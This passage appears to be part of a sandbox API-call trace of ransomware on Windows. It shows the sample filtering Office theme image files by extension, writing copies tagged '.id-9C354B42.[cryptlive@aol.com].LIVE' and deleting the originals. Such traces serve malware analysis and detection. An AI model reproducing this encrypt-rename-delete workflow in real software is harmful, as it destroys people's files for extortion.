Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.162] lstrlenW (lpString=".doc") returned 4 [0052.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.163] lstrlenW (lpString=".docx") returned 5 [0052.163] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.163] lstrlenW (lpString=".pdf") returned 4 [0052.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.163] lstrlenW (lpString=".xls") returned 4 [0052.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.163] lstrlenW (lpString=".xlsx") returned 5 [0052.163] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.163] lstrlenW (lpString=".ppt") returned 4 [0052.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.163] lstrlenW (lpString=".zip") returned 4 [0052.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.163] lstrlenW (lpString=".rar") returned 4 [0052.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.163] lstrlenW (lpString=".bz2") returned 4 [0052.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.163] lstrlenW (lpString=".7z") returned 3 [0052.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.163] lstrlenW (lpString=".dbf") returned 4 [0052.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.163] lstrlenW (lpString=".1cd") returned 4 [0052.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0052.163] lstrlenW (lpString=".jpg") returned 4 [0052.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.163] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0052.163] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.164] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=4991) returned 1 [0052.164] CloseHandle (hObject=0x200) returned 1 [0052.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0052.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.164] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.164] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.166] GetLastError () returned 0x0 [0052.166] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x137f, lpOverlapped=0x0) returned 1 [0052.167] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0052.168] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.168] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.169] SetEndOfFile (hFile=0x20c) returned 1 [0052.169] CloseHandle (hObject=0x20c) returned 1 [0052.169] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.169] SetEndOfFile (hFile=0x200) returned 1 [0052.170] CloseHandle (hObject=0x200) returned 1 [0052.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0052.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.170] lstrlenW (lpString=".doc") returned 4 [0052.170] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.170] lstrlenW (lpString=".docx") returned 5 [0052.170] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.170] lstrlenW (lpString=".pdf") returned 4 [0052.170] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.170] lstrlenW (lpString=".xls") returned 4 [0052.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString=".xlsx") returned 5 [0052.171] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.171] lstrlenW (lpString=".ppt") returned 4 [0052.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString=".zip") returned 4 [0052.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString=".rar") returned 4 [0052.171] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString=".bz2") returned 4 [0052.171] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.171] lstrlenW (lpString=".7z") returned 3 [0052.171] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString=".dbf") returned 4 [0052.171] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString=".1cd") returned 4 [0052.171] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString=".jpg") returned 4 [0052.171] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.171] lstrlenW (lpString=".doc") returned 4 [0052.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.171] lstrlenW (lpString=".docx") returned 5 [0052.171] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.171] lstrlenW (lpString=".pdf") returned 4 [0052.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.171] lstrlenW (lpString=".xls") returned 4 [0052.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString=".xlsx") returned 5 [0052.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.172] lstrlenW (lpString=".ppt") returned 4 [0052.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.172] lstrlenW (lpString=".zip") returned 4 [0052.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString=".rar") returned 4 [0052.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.172] lstrlenW (lpString=".bz2") returned 4 [0052.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.172] lstrlenW (lpString=".7z") returned 3 [0052.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.172] lstrlenW (lpString=".dbf") returned 4 [0052.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.172] lstrlenW (lpString=".1cd") returned 4 [0052.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0052.172] lstrlenW (lpString=".jpg") returned 4 [0052.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.172] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0052.172] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.173] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=44302) returned 1 [0052.173] CloseHandle (hObject=0x200) returned 1 [0052.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0052.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.173] GetLastError () returned 0x0 [0052.173] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0052.176] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0052.177] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.177] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.177] SetEndOfFile (hFile=0x20c) returned 1 [0052.177] CloseHandle (hObject=0x20c) returned 1 [0052.177] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.177] SetEndOfFile (hFile=0x200) returned 1 [0052.179] CloseHandle (hObject=0x200) returned 1 [0052.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.179] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0052.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.179] lstrlenW (lpString=".doc") returned 4 [0052.179] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.179] lstrlenW (lpString=".docx") returned 5 [0052.179] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.179] lstrlenW (lpString=".pdf") returned 4 [0052.179] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.179] lstrlenW (lpString=".xls") returned 4 [0052.179] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.179] lstrlenW (lpString=".xlsx") returned 5 [0052.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.179] lstrlenW (lpString=".ppt") returned 4 [0052.179] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.179] lstrlenW (lpString=".zip") returned 4 [0052.179] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.180] lstrlenW (lpString=".rar") returned 4 [0052.180] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.180] lstrlenW (lpString=".bz2") returned 4 [0052.180] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString=".7z") returned 3 [0052.180] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString=".dbf") returned 4 [0052.180] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString=".1cd") returned 4 [0052.180] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString=".jpg") returned 4 [0052.180] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString=".doc") returned 4 [0052.180] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString=".docx") returned 5 [0052.180] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.180] lstrlenW (lpString=".pdf") returned 4 [0052.180] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.180] lstrlenW (lpString=".xls") returned 4 [0052.180] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.180] lstrlenW (lpString=".xlsx") returned 5 [0052.180] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.180] lstrlenW (lpString=".ppt") returned 4 [0052.180] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.180] lstrlenW (lpString=".zip") returned 4 [0052.180] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.180] lstrlenW (lpString=".rar") returned 4 [0052.181] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.181] lstrlenW (lpString=".bz2") returned 4 [0052.181] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.181] lstrlenW (lpString=".7z") returned 3 [0052.181] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.181] lstrlenW (lpString=".dbf") returned 4 [0052.181] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.181] lstrlenW (lpString=".1cd") returned 4 [0052.181] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0052.181] lstrlenW (lpString=".jpg") returned 4 [0052.181] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.181] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0052.181] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.181] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2668) returned 1 [0052.181] CloseHandle (hObject=0x200) returned 1 [0052.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0052.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0052.182] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.182] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.184] GetLastError () returned 0x0 [0052.184] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0052.186] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0052.187] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.187] WriteFile (in: hFile=0x20c, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.187] SetEndOfFile (hFile=0x20c) returned 1 [0052.187] CloseHandle (hObject=0x20c) returned 1 [0052.187] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.187] SetEndOfFile (hFile=0x200) returned 1 [0052.188] CloseHandle (hObject=0x200) returned 1 [0052.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.188] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0052.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.189] lstrlenW (lpString=".doc") returned 4 [0052.189] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.189] lstrlenW (lpString=".docx") returned 5 [0052.189] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.189] lstrlenW (lpString=".pdf") returned 4 [0052.189] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.189] lstrlenW (lpString=".xls") returned 4 [0052.189] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.189] lstrlenW (lpString=".xlsx") returned 5 [0052.189] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.189] lstrlenW (lpString=".ppt") returned 4 [0052.189] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.189] lstrlenW (lpString=".zip") returned 4 [0052.189] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.189] lstrlenW (lpString=".rar") returned 4 [0052.189] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.189] lstrlenW (lpString=".bz2") returned 4 [0052.189] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.189] lstrlenW (lpString=".7z") returned 3 [0052.189] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.189] lstrlenW (lpString=".dbf") returned 4 [0052.189] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0052.189] lstrlenW (lpString=".1cd") returned 4 [0052.189] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 